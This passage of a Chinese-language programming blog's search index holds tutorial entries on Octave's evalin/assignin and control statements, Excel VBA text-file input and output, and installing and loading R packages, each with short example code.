等，任何在函數中的算式都是使用新的符號表。 有時候使用者會需要在呼叫函數時，在函數中取得或變更目前符號表中的變數，也就是類似 C 語言中的指標（pointer），這個時候可以使用 evalin() 與 assignin() 函數。\nevalin (context, try, catch) evalin(context, try, catch) 函數與 eval() 函數類似，但可以透過 context 參數指定變數環境，此參數可以使用的選項有：\n\u0026quot;caller\u0026quot;：上一層的變數環境，也就是呼叫此函數的呼叫者。 \u0026quot;base\u0026quot;：位於最上層的命令列變數環境。 下面我們以範例說明 evalin() 函數的使用方式，首先定義兩個函數 func1() 與 func2()，並在最上層與 func1() 中都定義一個 test_var 變數：\ntest_var = \u0026#34;base\u0026#34;; function func1 test_var = \u0026#34;from func1\u0026#34;; func2(); endfunction function func2 evalin(\u0026#34;base\u0026#34;, \u0026#34;test_var\u0026#34;); evalin(\u0026#34;caller\u0026#34;, \u0026#34;test_var\u0026#34;); endfunction 這時候若執行\nfunc1() 輸出為\ntest_var = from base test_var = from func1 當 func1() 呼叫 func2() 時，第一個 evalin() 函數的 context 參數是指定為 \u0026quot;base\u0026quot;，因此會取得最上層的 test_var，而第二個 evalin() 函數的 context 參數則是設為 \u0026quot;caller\u0026quot;，所以其取得的是函數呼叫者 func1() 函數之中的 test_var。\nassignin (context, varname, value) assignin(context, varname, value) 函數可以將變數環境 context 中的變數 varname 指定為 value，context 可用的選項與 evalin() 函數相同。例如在自行定義的 func3() 函數中以 assignin() 函數在最上層的命令列變數環境中新增一個變數 new_var，並指定其值：\nfunction func3 assignin(\u0026#34;base\u0026#34;, \u0026#34;new_var\u0026#34;, \u0026#34;new value\u0026#34;); endfunction 執行 func3() 函數之後，就會多了一個名為 new_var 的變數：\nfunc3(); new_var 輸出為\nnew_var = new value ","permalink":"https://blog.gtwang.org/octave/octave-evaluation/","summary":"\u003ch2 id=\"使用指令字串using-evaluation\"\u003e使用指令字串（Using Evaluation）\u003c/h2\u003e\n\u003cp\u003e一般來說要執行 Octave 的指令可以由命令列視窗直接輸入，或讓 Octave 直接執行儲存在檔案中的程式，然而有時候會需要直行儲存在字串變數中的指令，這時候就可以使用 \u003ccode\u003eeval()\u003c/code\u003e 函數。\u003c/p\u003e","title":"Octave 指令字串（Evaluation）"},{"content":"這裡介紹如何在 Excel VBA 中讀取與寫入文字檔，並提供基本的參考範例。\n通常 Excel VBA 程式都會從 Excel 表格中取得資料，經過處理之後再送回 Excel 表格中，但有些時候我們也會需要直接從外部的文字檔讀取資料，或是將處理完的資料儲存至外部的文字檔中，以下是 Excel VBA 中檔案讀取與寫入的教學。\n讀取外部文字檔 若要在 VBA 中讀取外部的文字檔，可以使用 Open 來開啟檔案，其語法為：\nOpen 檔案位置 For Input As 檔案代碼 檔案位置就是檔案在硬碟中的路徑，VBA 在開啟檔案之後，會使用檔案代碼來辨識檔案，每個已開啟的檔案都會對應一個不重複的檔案代碼，例如 #1、#2 等，編號可以不連續，但不可以重複。\n開啟檔案之後，通常我們會使用迴圈的方式來讀取整個檔案內容，每次以 Line 讀取一行資料，然後藉由 EOF（end of file）來判斷檔案是否已經讀取到結尾，如果讀取至結尾則跳出迴圈。\n在檔案開啟之後，後續所有的檔案讀取以及判斷檔案結尾等動作，都會使用檔案代碼的方式來指定檔案。\n以下是一個簡單的範例：\nDim FilePath As String \u0026#39; 文字檔案位置 FilePath = \u0026#34;C:\\ExcelDemo\\demo.txt\u0026#34; \u0026#39; 開啟 FilePath 文字檔，使用編號 #1 檔案代碼 Open FilePath For Input As #1 \u0026#39; 執行迴圈，直到編號 #1 檔案遇到結尾為止 Do Until EOF(1) \u0026#39; 從編號 #1 檔案讀取一行資料 Line Input #1, LineFromFile \u0026#39; 輸出一行資料 MsgBox (LineFromFile) Loop \u0026#39; 關閉編號 #1 檔案 Close #1 這個範例會開啟 C:\\ExcelDemo\\demo.txt 這個文字檔（執行時請自己建立這個檔案），並將其設定為編號 #1 的檔案，如果要開啟多個檔案時，則可自行變更每個檔案的代碼，例如 #2、#3 等。\n在迴圈的判斷式中，我們使用 EOF(1) 來判斷編號 #1 的檔案是否已經到達結尾處。\n在讀檔的動作則使用 Line 從 Input #1 之中讀取一行資料，然後將這一行資料儲存在 LineFromFile 這個變數當中。\n當檔案使用完畢之後，要使用 Close 將開啟的檔案關閉。\n寫入外部文字檔 若要將資料寫入外部的文字檔，一開始也是使用 Open 開啟檔案：\nOpen 檔案位置 For Output As 檔案代碼 這個語法跟之前讀檔的語法類似，只是把開檔的模式改為 Output，檔案位置就填入要寫入的檔案路徑，而檔案代碼也是自己取一個不重複的數字即可。開啟檔案之後，即可使用 Print 函數將指定的資料寫入檔案中。\nDim OutputFilePath As String Dim Content As String \u0026#39; 文字檔案位置 OutputFilePath = \u0026#34;C:\\ExcelDemo\\demo_output.txt\u0026#34; \u0026#39; 開啟 OutputFilePath 文字檔，使用編號 #2 檔案代碼 Open OutputFilePath For Output As #2 \u0026#39; 要寫入檔案的內容 Content = \u0026#34;This is a test.\u0026#34; \u0026#39; 將 Content 的內容寫入編號 #2 的檔案 Print #2, Content \u0026#39; 關閉編號 #2 檔案 Close #2 這個範例會打開 C:\\ExcelDemo\\demo_output.txt 這個檔案，然後將 Content 變數的內容以 Print 寫入其中，最後呼叫 Close 將檔案關閉。而在寫入完成後，demo_output.txt 的檔案內容如下：\n如果呼叫 Print 時，省略要寫入的資料，就會寫入空白行至檔案中：\n\u0026#39; 寫入空白行 Print #2, 若要拼湊多個變數，產生想要的排版格式，可以使用分號將多個資料串起來：\n\u0026#39; 以空白分隔 Print #2, \u0026#34;Hello\u0026#34;; \u0026#34; \u0026#34;; \u0026#34;World\u0026#34; \u0026#39; 以 5 個空白分隔 Print #2, \u0026#34;Hello\u0026#34;; Spc(5); \u0026#34;World\u0026#34; Dim MyBool As Boolean MyBool = True \u0026#39; 輸出字串與布林變數 Print #2, \u0026#34;The \u0026#34;; MyBool; \u0026#34; is a Boolean value.\u0026#34; Dim MyInt As Integer MyInt = 123 \u0026#39; 輸出字串與整數變數 Print #2, \u0026#34;The\u0026#34;; MyInt; \u0026#34;is a Integer value.\u0026#34; 這是寫入的檔案內容：\n更多 Print 的範例，可以參考 Microsoft Learn 的說明文件。\n除了使用 Print 之外，還有一個 Write 也可以寫入檔案，它會自動將文字的內容加上雙引號，並以逗號分隔多個輸入變數，以下是一個範例（將上面 Print 的位置直接替換成 Write 即可）：\n\u0026#39; 以逗號分隔，寫入檔案 Write #2, \u0026#34;Hello, World\u0026#34;, 123 Write 在寫入檔案時，會將幾種 VBA 變數轉換為特殊的格式，例如 True 就會轉為 #TRUE#，詳細的說明請參考 Microsoft Learn 的說明文件。\n附加方式寫入檔案 當我們用 Output 模式寫入一個已經存在的檔案時，如果檔案中存在有舊的內容的話，在寫入之後就會將舊的內容覆蓋掉，若想要保留舊資料，並增加一些內容接在原本資料的後方，就可以用附加的方式（append）寫入檔案，最典型的使用情境就是將程式輸出訊息寫入記錄檔。\n若要以附加方式寫入檔案，只要將開檔的模式改為 Append 即可，以下是一個簡單的範例：\nDim OutputFilePath As String Dim Content As String OutputFilePath = \u0026#34;C:\\ExcelDemo\\demo_output.txt\u0026#34; \u0026#39; 建立文字檔 Open OutputFilePath For Output As #2 Content = \u0026#34;This is a test.\u0026#34; Print #2, Content Close #2 \u0026#39; 附加方式寫入檔案 Open OutputFilePath For Append As #3 Content = \u0026#34;This is another test.\u0026#34; Print #3, Content Close #3 執行之後，demo_output.txt 的內容如下：\nVBA 的開檔模式除了 Input、Output 與 Append 之外，還有用於二進位檔案的 Binary 模式，以及用於隨機存取的 Random 模式，不過另外這兩種一般人比較少用，就不介紹了，有興趣的人請參考 Microsoft Learn 的說明。\n自動選擇檔案代碼 如果要使用程式自動開啟多個檔案，不想使用手動指定檔案代碼的話，可以使用 FreeFile 這個函數自動取得可用的檔案代碼，以下是一個簡單的使用範例：\nDim FileCount As Integer Dim FileNumber As Integer Dim FileName As String \u0026#39; 使用迴圈自動寫入 5 個檔案 For FileCount = 1 To 5 \u0026#39; 自動取得檔案代碼 FileNumber = FreeFile() \u0026#39; 檔案名稱 FileName = \u0026#34;C:\\ExcelDemo\\demo_output_\u0026#34; \u0026amp; FileCount \u0026amp; \u0026#34;.txt\u0026#34; \u0026#39; 開啟檔案 Open FileName For Output As #FileNumber \u0026#39; 寫入檔案 Print #FileNumber, \u0026#34;Hello, World\u0026#34; \u0026#39; 關閉檔案 Close #FileNumber Next FileCount 這個範例會自動寫入五個檔案，程式設計者不需要檢查可用的檔案代碼，在較複雜的程式中，建議使用這種方式，可以避免不小心造成檔案代碼衝突的問題。\n應用範例 寫入 CSV 檔案 CSV 檔案就是每個欄位以逗點分隔的檔案，以下是將 Excel 表格的資料寫入 CSV 檔的範例，假設我們的 Excel 檔案中有一張向這樣的表格：\n若要在 VBA 中將這個表格的資料直接寫成一個 CSV 檔，可以這樣寫：\nDim ColNum As Integer Dim Line As String Dim LineValues() As Variant Dim OutputFileNum As Integer Dim PathName As String Dim RowNum As Integer Dim SheetValues() As Variant \u0026#39; 取得目前 Excel 檔的儲存路徑 PathName = Application.ActiveWorkbook.Path \u0026#39; 自動取得檔案代碼 OutputFileNum = FreeFile \u0026#39; 在同樣路徑下，開啟一個 demo_output.csv 檔 Open PathName \u0026amp; \u0026#34;demo_output.csv\u0026#34; For Output As #OutputFileNum \u0026#39; 取得 Excel 表格內的資料 SheetValues = Sheets(\u0026#34;工作表1\u0026#34;).Range(\u0026#34;A1:C6\u0026#34;).Value \u0026#39; 動態調整陣列大小 ReDim LineValues(1 To 3) For RowNum = 1 To 5 For ColNum = 1 To 3 \u0026#39; 把 Excel 資料表的一列資料放進陣列中 LineValues(ColNum) = SheetValues(RowNum, ColNum) Next \u0026#39; 將陣列中的資料以逗號連接起來 Line = Join(LineValues, \u0026#34;,\u0026#34;) \u0026#39; 將 CSV 資料寫入檔案 Print #OutputFileNum, Line Next \u0026#39; 關閉檔案 Close #OutputFileNum 產生的 CSV 檔若用記事本開啟，即可看到其原始的資料：\n而若使用 Excel 來開啟 CSV 檔，就會直接以表格的方式呈現：\n參考資料 Home \u0026amp; Learn tutorialspoint Excel Easy ","permalink":"https://blog.gtwang.org/courses/vba/excel-vba-file-input-and-output/","summary":"\u003cp\u003e這裡介紹如何在 Excel VBA 中讀取與寫入文字檔，並提供基本的參考範例。\u003c/p\u003e\n\u003cp\u003e通常 Excel VBA 程式都會從 Excel 表格中取得資料，經過處理之後再送回 Excel 表格中，但有些時候我們也會需要直接從外部的文字檔讀取資料，或是將處理完的資料儲存至外部的文字檔中，以下是 Excel VBA 中檔案讀取與寫入的教學。\u003c/p\u003e","title":"Excel VBA 程式設計教學：檔案輸入與輸出"},{"content":"這裡介紹 R 套件的基本使用方式，並整理一些常用的套件與使用範例。\nR 除了其本身核心所提供的運算功能之外，還有非常大量的附加套件（packages）可以使用，由於這些套件是由來自於世界各地的開發者所開發的，不僅為數眾多、功能也相當豐富，因此對於 R 的使用者而言，安裝與使用這些套件是非常重要的技能。\n使用 R 套件 要使用任何的 R 套件之前，需要先使用 library 將套件載入。\nlattice 這個套件是 R 內建的套件之一，它是一個很常被使用的繪圖套件，在預設的狀況下 R 不會自動載入這個套件，若要使用 lattice 這個套件，則必須先執行：\nlibrary(lattice) 請注意這裡 library 的第一個參數是套件的名稱，而套件的名稱在指定時可以不加雙引號，library 會自動將這個參數解讀為套件的名稱。當然您也可以這樣寫：\nlibrary(\u0026#34;lattice\u0026#34;) 以上兩者效果是相同的。\n載入 lattice 套件之後，就可以開始使用此套件所提供的各種函數或資料了。下面是一個運用 lattice 套件所提供的 dotplot 函數來繪圖的範例：\ndotplot(variety ~ yield | site, data = barley, groups = year) 畫出的圖形為：\nlattice 套件是一個功能強大的繪圖套件，此套件的使用方式會在後續的教學內容中詳述。\n如果您需要使用程式來自動指定套件名稱、載入多個套件時，記得要加上 character.only = TRUE 參數，這樣才能正確地載入套件：\npkgs \u0026lt;- c(\u0026#34;lattice\u0026#34;, \u0026#34;utils\u0026#34;, \u0026#34;rpart\u0026#34;) for(pkg in pkgs) { library(pkg, character.only = TRUE) } 使用 library 載入指定的套件時，若遇到該套件沒有安裝的狀況，就會產生錯誤，而如果希望採用不同的方式來處理這個問題，可以改用 require 來載入套件，它跟 library 同樣可以將套件載入，只不過它在套件載入成功時會傳回 TRUE，而載入失敗（例如跳套件未安裝）時則傳回 FALSE，不會產生錯誤的訊息。\nif(!require(ggplot2)) { warning(\u0026#34;Please install the \u0026#39;ggplot2\u0026#39; package.\u0026#34;) } 搜尋路徑 若想查詢目前所有被載入的套件列表，可以使用 search 函數列出所有的搜尋路徑：\nsearch() [1] \".GlobalEnv\" \"package:lattice\" \"tools:RGUI\" [4] \"package:stats\" \"package:graphics\" \"package:grDevices\" [7] \"package:utils\" \"package:datasets\" \"package:methods\" [10] \"Autoloads\" \"package:base\" 這個輸出中列出了 R 在搜尋變數的時候，會搜尋到的環境空間與順序，全域環境空間（.GlobalEnv）一定是排在第一位，接著就是最近載入的一些套件，R 的基本核心函數則是放在最後面，關於環境空間的說明請參考R 環境空間與函數。\n已安裝的套件 若要查詢自己電腦中已經安裝的套件列表，可以使用 installed.packages 函數，它會傳回一個含有所有已安裝套件的 data frame：\ninstalled.packages() 配合 View 來查看會比較方便：\nView(installed.packages()) 這個表格中詳述了每個套件的版本、安裝路徑、相依套件等資訊，正常 R 內建的套件都是安裝在其安裝目錄之下的 library 子目錄，我們可以使用這個指令來查詢這個路徑：\nR.home(\u0026#34;library\u0026#34;) [1] \"C:/PROGRA~1/R/R-32~1.4/library\" 或是查看 .Library 變數：\n.Library [1] \"C:/PROGRA~1/R/R-32~1.4/library\" 而一般的使用者也可以自行將套件安裝在自己個人的目錄之下，而個人的 R 套件目錄在不同作業系統中也都有些差異，Windows 的個人 R 套件目錄位於自己加目錄下的 R/win-library/x.y 子目錄，而 Windows 的 R 加目錄則可使用以下指令查詢：\npath.expand(\u0026#34;~\u0026#34;) 或是查詢 HOME 環境變數亦可：\nSys.getenv(\u0026#34;HOME\u0026#34;) 若在 Linux 系統之中，個人 R 套件目錄則位於加目錄中的 R/R.version$platform-library/x.y 路徑之下，而其中 R.version$platform 是在 R 中的一個變數，通常它的內容會類似 i686-pc-linux-gnu 這樣的名稱。至於家目錄的查詢方式則跟 Windows 一樣。\n.libPaths 函數可以查詢目前 R 在載入套件時，會搜尋的檔案系統路徑：\n.libPaths() [1] \"C:/Program Files/R/R-3.2.4/library\" 如果想要讓 R 可以搜尋其他路徑，可以修改這裡的設定，加上新的搜尋路徑：\npath \u0026lt;- .libPaths() .libPaths(c(path, \u0026#34;D:/my_lib\u0026#34;)) 或將路徑加入至 R_LIBS 這個系統的環境變數當中，若有多個路徑則使用分號分隔也可以。若在 Linux 的 shell 中，則可以使用：\nexport R_LIBS=/path/one:/path/two 安裝 R 套件 R 官方的 CRAN（the Comprehensive R Archive Network）網站上收錄非常多常用的 R 套件，大部分的套件都可以透過 R 的內建指令直接從 CRAN 下載與安裝。\n在 Windows 中可以透過 R 程式套件選單來安裝與管理 R 的套件。\n選擇存放處（repositories）的功能可以讓我們選擇套件的來源。\n設定 CRAN 鏡像站則是可以讓我們選擇從哪一個伺服器下載 R 套件，基本上不管選擇哪一個都可以，只是選擇距離自己比較近的伺服器，下載速度會比較快一點而已。\n安裝程式套件，直接選擇要安裝的套件名稱，即可立即下載與安裝。\n在 Mac OS X 中的套件安裝操作也是跟 Windows 類似。\n有些時候如果您已經知道要安裝的套件名稱，其實使用指令安裝的方式會比較快，我們可以使用 install.packages 這個指令來安裝指定的套件：\ninstall.packages(\u0026#34;ggplot2\u0026#34;) 安裝多個套件：\ninstall.packages(c(\u0026#34;xts\u0026#34;, \u0026#34;zoo\u0026#34;)) repos 參數可以指定套件來源網站：\ninstall.packages(c(\u0026#34;xts\u0026#34;, \u0026#34;zoo\u0026#34;), repos = \u0026#34;http://www.stats.bris.ac.uk/R/\u0026#34;) lib 參數可以指定安裝路徑：\ninstall.packages(c(\u0026#34;xts\u0026#34;, \u0026#34;zoo\u0026#34;), lib = \u0026#34;some/other/folder/to/install/to\u0026#34;, repos = \u0026#34;http://www.stats.bris.ac.uk/R/\u0026#34;) 如果要從已下載的套件壓縮檔來安裝，可以執行：\ninstall.packages(\u0026#34;/path/to/xts_0.8-8.tar.gz\u0026#34;, repos = NULL, type = \u0026#34;source\u0026#34;) 若在 Windows 中，則會類似這樣：\ninstall.packages(\u0026#34;/path/to/xts_0.8-8.zip\u0026#34;, repos = NULL, type = \u0026#34;win.binary\u0026#34;) 若要直接從 GitHub 網站上下載與安裝 R 套件，就要使用 devtools 這個套件工具，首先安裝 devtools：\ninstall.packages(\u0026#34;devtools\u0026#34;) library(devtools) 接著使用 install_github 來安裝 GitHub 上的套件：\ninstall_github(\u0026#34;Rfacebook\u0026#34;, \u0026#34;pablobarbera\u0026#34;, subdir=\u0026#34;Rfacebook\u0026#34;) 更新 R 套件 R 套件在安裝之後，我們可以定期使用 update.packages 函數來檢查與更新套件：\nupdate.packages() 預設的狀況下，它會詢問每一個可以進行更新的套件是否需要更新：\ngit2r : Version 0.14.0 installed in /Library/Frameworks/R.framework/Versions/3.3/Resources/library Version 0.15.0 available at http://cran.csie.ntu.edu.tw Update (y/N/c)? 若想要一次更新所有的套件，不要一一詢問，可以加上 ask = FALSE 參數：\nupdate.packages(ask = FALSE) 也可以只更新指定的套件：\nupdate.packages(\u0026#34;ggplot2\u0026#34;) ","permalink":"https://blog.gtwang.org/r/r-packages/","summary":"\u003cp\u003e這裡介紹 R 套件的基本使用方式，並整理一些常用的套件與使用範例。\u003c/p\u003e\n\u003cp\u003eR 除了其本身核心所提供的運算功能之外，還有非常大量的附加套件（packages）可以使用，由於這些套件是由來自於世界各地的開發者所開發的，不僅為數眾多、功能也相當豐富，因此對於 R 的使用者而言，安裝與使用這些套件是非常重要的技能。\u003c/p\u003e","title":"R 套件"},{"content":"Octave 中的敘述（statements）可以是簡單的常數或是複雜的運算式與判斷式。控制敘述（control statements）可以控制 Octave 程式的執行，例如：if 或 while 等敘述。許多控制敘述中還會包含了其他的敘述，例如 if 敘述就常常包含了一些可執行或是不可執行的敘述。\n每一個控制敘述都會包含一個對應的結束敘述，例如 endif 就是表示 if 敘述的結束，endwhile 則表示 while 敘述的結束，所有的結束敘述都可以簡寫成 end，但建議還是以完整的結束敘述為主，因為使用完整的結束敘述可以提供 Octave 更多資訊以偵測程式上可能發生的錯誤（例如漏寫了結束敘述等）。\n介於控制敘述（例如 if）與其對應的結束敘述（例如 endif）之間的敘述，稱為此控制敘述的主體（body）。\nif 敘述（The if Statement） if 敘述會根據使用者指定的條件判斷式而決定是否要執行某一段程式，此敘述有三種用法，最簡單的就像這樣：\nif (condition) # then-body endif if 敘述會根據 condition 的結果來決定是否要接下去執行，若 condition 的結果為 true，則會執行 then-body 部分的程式碼。而 condition 的計算結果若為0，則會被視為 false，若不是0 則視為 true；若 condition 的結果是一個向量，則只有在向量中所有的元素都是0 的情況下才會被視為 false，其他的情形都會被視為 true。\nif 敘述的第二種使用方式是多加入一個 else 敘述：\nif (condition) # then-body else # else-body endif 若 condition 的結果為 true 則執行 then-body，否則執行 else-body。例如：\nif (rem (x, 2) == 0) printf (\u0026#34;x is even\\n\u0026#34;); else printf (\u0026#34;x is odd\\n\u0026#34;); endif 在這個列子中，若是 rem (x, 2) == 0 的結果為 true（即 x 被 2 整除），則第一個 printf 會被執行，否則執行第二個 printf。\nif 敘述的第三種使用方式（也是最常見的方式）是再加入一個 elseif 敘述，這樣可以允許加入多個不同的判斷式：\nif (condition) # then-body elseif (condition) # elseif-body else # else-body endif elseif 敘述的個數沒有限制，這些判斷式會依照順序執行，當其中一個 condition 的結果為 true 時，則會執行其對應的程式碼，之後剩餘的 elseif 則會直接跳過，不會繼續檢查；若每一個判斷式皆為 false，則會執行 else-body。else 敘述必須放在最後一個位置，並且一組 if 敘述中最多只能有一個 else 敘述。\n下面的範例中，當 rem (x, 2) == 0 的結果為 true 時（即 x 被 2 整除），則會執行第一個 printf，若其結果為 false，則會繼續判斷第二的 elseif 中的 rem (x, 3) == 0，若其結果為 true（即 x 被 3 整除），則會執行第二個 printf；若兩個判斷式的結果都是 false，則會執行最後一個 printf。\nif (rem (x, 2) == 0) printf (\u0026#34;x is even\\n\u0026#34;); elseif (rem (x, 3) == 0) printf (\u0026#34;x is odd and divisible by 3\\n\u0026#34;); else printf (\u0026#34;x is odd\\n\u0026#34;); endif elseif 不能像 Fortran 語言一樣拆成 else if，如果拆成這樣的寫法，Octave 視為在一個 else 敘述中包含另外一個 if 敘述，例如：\nif (c1) # body-1 else if (c2) # body-2 endif 若是這樣寫 Octave 會將最後一行的 endif 視為第二個 if 敘述的結束，若是使用互動是的命列列輸入，則 Octave 會繼續等待使用者輸入程式碼，直到輸入了第一個 if 敘述的 endif 為止；若從檔案中載入程式碼，則 Octave 可能會出現警告訊息或是直接產生錯誤的結。將此程式碼重新排版後，更可以看出問題所在：\nif (c1) # body-1 else if (c2) # body-2 endif 這樣就可以很明顯的看出最後少了一個 endif 敘述。\nswitch 敘述（The switch Statement） 在撰寫程式時常常會需要依照某一個變數的值來決定執行哪一段程式碼，這種情況可以使用 if 敘述，例如：\nif (X == 1) do_something (); elseif (X == 2) do_something_else (); else do_something_completely_different (); endif 不過這樣的寫法非常累贅，Octave 亦支援專門用於此情況的 switch 敘述，上面的程式碼可以使用此敘述改寫為：\nswitch (X) case 1 do_something (); case 2 do_something_else (); otherwise do_something_completely_different (); endswitch 使用 switch 敘述可以讓程式碼看起來更簡潔也更容易閱讀，在維護上也更方便，例如若要將變數 X 換成另一個變數名稱，只需要更改第一行，若是使用 if 敘述則需要更改每一個判斷式。\nswitch 敘述的標準使用方式為：\nswitch expression case label command_list case label command_list # ... otherwise command_list endswitch 其中 label 可以是任何算式，若是有重複的 label，則只有對應到第一個符合的 label 的 command_list 會被執行，剩餘的會被忽略。在 switch 敘述中至少要有一個 case 敘述（否則這個 switch 敘述就沒有意義了），而最後的 otherwise 敘述則是可有可無。\n若 label 為一個巢狀陣列（cell array），則當此巢狀陣列中的任何一個元素符合 expression 時，就會執行其對應的 command_list，例如：\nA = 7; switch A case { 6, 7 } printf (\u0026#34;variable is either 6 or 7\\n\u0026#34;); otherwise printf (\u0026#34;variable is neither 6 nor 7\\n\u0026#34;); endswitch 其輸出為\nvariable is either 6 or 7 endswitch 敘述與其他敘述一樣可以用 end 取代，但建議還是使用 endswitch 以避免錯誤發生。\n使用 switch 敘述而不使用 if 敘述的另外一個好處是 label 可以為字串，if 無法直接判斷字串是否相等，例如：\nx = \u0026#34;test\u0026#34;; if(x == \u0026#34;another\u0026#34;) y = 1 endif 因為 x == \u0026quot;another\u0026quot; 會執行字元對字元的比對，所以這樣會產生錯誤：\nerror: mx_el_eq: nonconformant arguments (op1 is 1x4, op2 is 1x7) 而 switch 可以判斷字串是否相等：\nx = \u0026#34;test\u0026#34;; switch (x) case \u0026#34;another\u0026#34; y = 1 case \u0026#34;test\u0026#34; y = 2 endswitch 輸出為\ny = 2 在 C 語言中也有 switch 敘述，但其用法與 Octave 的 switch 有些差異：第一個差異是 Octave 中的每個 case 預設就是獨立的，執行完一個 case 就會跳開，不需要像 C 語言使用 break。另一個差異是 Octave 中每個 case 的 command_list 是不可省略的，例如 C 語言可以這樣寫：\nswitch (foo) { case 1: case 2: doit (); } 但在 Octave 中必須改寫成這樣：\nswitch (foo) case {1, 2} doit(); endswitch while 敘述（The while Statement） 程式中的迴圈（loop）可以在符合指定條件的情況下，重複執行某一段程式碼。Octave 中最簡單的迴圈結構就是 while 敘述，它會在指定的條件為 true 時重複執行其中的程式碼，其判斷方式與 if 敘述相同，當值為0 時則視為 false，否則視為 true，若為向量或矩陣，則只有當向量或矩陣不是空矩陣且所有的元素值都不是0 時，才視為 true，否則視為 false。\nOctave 中 while 敘述的使用方式為：\nwhile (condition) body endwhile 其中 body 可以是任何的敘述，當 condition 為 true 時，就會執行 body 一次，執行完 body 再重新檢查 condition，若為 true 則繼續執行 body，不斷重複直到 condition 為 false 為止。若第一次檢查 condition 就是 false，則 body 就不會被執行。\n下面的範例會產生一個含有 Fibonacci 數列的變數 fib：\nfib = ones (1, 10); i = 3; while (i \u0026lt;= 10) fib (i) = fib (i-1) + fib (i-2); i++; endwhile 這裡的 body 含有兩個敘述。這個迴圈一開始的 i 是設為 3，然後 while 會檢查 i 是否小於或等於 10，若 i 小於或等於 10 則會將 fib 的第 i 個元素設為其第 i-1 與第 i-2 個元素的和，然後再將 i 的值加 1，重複這個動作直到 i 增加到 11 為止。\nwhile 敘述與 body 之間可以不需要換行，不過除了很簡單的迴圈之外，使用換行可以使程式碼更容易閱讀。\ndo-until 敘述（The do-until Statement） do-until 敘述與 while 敘述類似，但他是重複執行指定程式碼直到指定的條件變為 true，另外他測試 condition 的地方是放在結尾，所以 body 的程式碼至少會被執行一次。do-until 敘述中 condition 的測試方式與 if 敘述相同，若其值為0 則視為 false，否則視為 true，若為向量或矩陣，則只有當向量或矩陣不是空矩陣且所有的元素值都不是0 時，才視為 true，否則視為 false。\ndo-until 的使用方式為：\ndo body until (condition) body 可以是一個或多個敘述，而 condition 則用來控制要執行幾次 body。\n下面的範例會產生一個含有 Fibonacci 數列的變數 fib：\nfib = ones (1, 10); i = 2; do i++; fib (i) = fib (i-1) + fib (i-2); until (i == 10) 在 do 與 body 之間可以不需要換行，不過除了很簡單的迴圈之外，使用換行可以使程式碼更容易閱讀。\nfor 敘述（The for Statement） for 敘述基本用法 for 敘述可以明確的指定迴圈的執行次數，其使用方式為：\nfor var = expression body endfor 其中 body 可以是一個或多個敘述，expression 可以是任何的算式，而 var 則可以是很多形式，最常見的就是一個變數，但若 expression 傳回的是資料結構（structure），則 var 就必須要指定為一個含有兩個元素的向量。\n在 for 敘述中的指定運算子與 Octave 中一般的指定運算子有些不同，它不會一次將 expression 的值整個指定給 var，而是依序將 expression 的每一個行（column）指定給 var。若 expression 是範圍（range）、列向量（row vector）或純量（scalar），則每一次指定給 var 的值會是一個純量；若 expression 是行向量（column vector）或矩陣，則每一次指定給 var 的值會是一個行向量。\n下面的範例示範如何使用 for 迴圈建立 Fibonacci 數列：\nfib = ones (1, 10); for i = 3:10 fib (i) = fib (i-1) + fib (i-2); endfor 這個 for 迴圈首先會執行 3:10 而得到一個範圍，然後將此範圍的第一個值（也就是 3）指定給 i，接著執行 body 部分的程式碼，執行完之後又將此範圍中的下一個值指定給 i，然後再繼續執行 body，這樣重複執行到範圍中所有的元素都指定完為止。\n在 Octave 中可以使用 for 迴圈存取矩陣中的元素，例如：\nfor i = [1,3;2,4] i endfor 這個範例中 i 會依序被指定為矩陣的行向量，輸出為\ni = 1 2 i = 3 4 巢狀陣列也可以這樣使用：\nfor i = {1,\u0026#34;two\u0026#34;;\u0026#34;three\u0026#34;,4} i endfor 輸出為\ni = { [1,1] = 1 [2,1] = three } i = { [1,1] = two [2,1] = 4 } 這樣的用法可以拓展至更高維度的陣列上：\na = [1,3;2,4]; b = cat(3, a, 2*a); for i = b i endfor 這個範例中，矩陣 b 會以 reshape (b, rows(b), prod(size(b)(2:end))) 的方式被轉換成二維的矩陣，然後再以一般矩陣的方式進行迴圈的運算，其輸出為\ni = 1 2 i = 3 4 i = 2 4 i = 6 8 雖然所有的 for 迴圈都可以改寫成 while 迴圈，但由於這兩種迴圈各適用於不同的情況，因此 Octave 對這兩個迴圈都支援。\n資料結構使用迴圈（Looping Over Structure Elements） 資料結構（structure）可以使用特殊的 for 迴圈來存取：\nfor [ val, key ] = expression body endfor 在這種 for 迴圈中，expression 必須指定為一個資料結構，而其中的欄位名稱與對應的值會依序被指定為 val 與 key，例如：\nx.a = 1; x.b = [1, 2; 3, 4]; x.c = \u0026#34;string\u0026#34;; for [val, key] = x key val endfor 輸出為\nkey = a val = 1 key = b val = 1 2 3 4 key = c val = string 使用 for 存取資料結構時，其元素的順序是不固定的，若需要以指定的順序存取其中的元素，則必須以 fieldnames() 函數取得欄位名稱後自行排序。\nbreak 敘述（The break Statement） break 敘述可以跳出包含此 break 敘述且最內層的迴圈，此敘述只能用於迴圈的主體（body）之中，下面的例子會找出指定整數的最小因數，並且標明質數：\nnum = 103; div = 2; while (div*div \u0026lt;= num) if (rem (num, div) == 0) break; endif div++; endwhile if (rem (num, div) == 0) printf (\u0026#34;Smallest divisor of %d is %d\\n\u0026#34;, num, div) else printf (\u0026#34;%d is prime\\n\u0026#34;, num); endif 在 while 迴圈中的第一行，若判斷 num 除以 div 的餘數等於0，則直接跳出 while 迴圈，並繼續執行 while 迴圈之後的程式碼，這與 exit 敘述直接跳出整個程式是不一樣的。\n下面的程式碼其功能與上面的相同，但這裡將 while 的判斷式以其中的 if 配合 break 敘述來取代：\nnum = 103; div = 2; while (1) if (rem (num, div) == 0) printf (\u0026#34;Smallest divisor of %d is %d\\n\u0026#34;, num, div); break; endif div++; if (div*div \u0026gt; num) printf (\u0026#34;%d is prime\\n\u0026#34;, num); break; endif endwhile continue 敘述（The continue Statement） continue 敘述跟 break 敘述一樣只能用於迴圈的主體之中，但 break 是直接跳出迴圈，而 continue 敘述會跳過目前的迭代，並從下一次的迭代開始執行，並不是跳出整個迴圈，例如：\nnum = 1:10; for x = num if(rem(x, 3) != 0) continue; endif printf(\u0026#34;%d\\n\u0026#34;, x); endfor 這個例子會將 1 到 10 之中所有被 3 整除的數字列出來，在 for 迴圈中的第一行，若是判斷 x 除以 3 的餘數不是0，則使用 continue 跳過以下的程式碼（即 printf），進行下一個數字的檢查，其輸出為\n3 6 9 這個範例只是要示範如何使用 continue 敘述，在實際的程式中，上面的程式碼可以改寫為更簡潔的形式：\nnum = 1:10; for x = num if(rem(x, 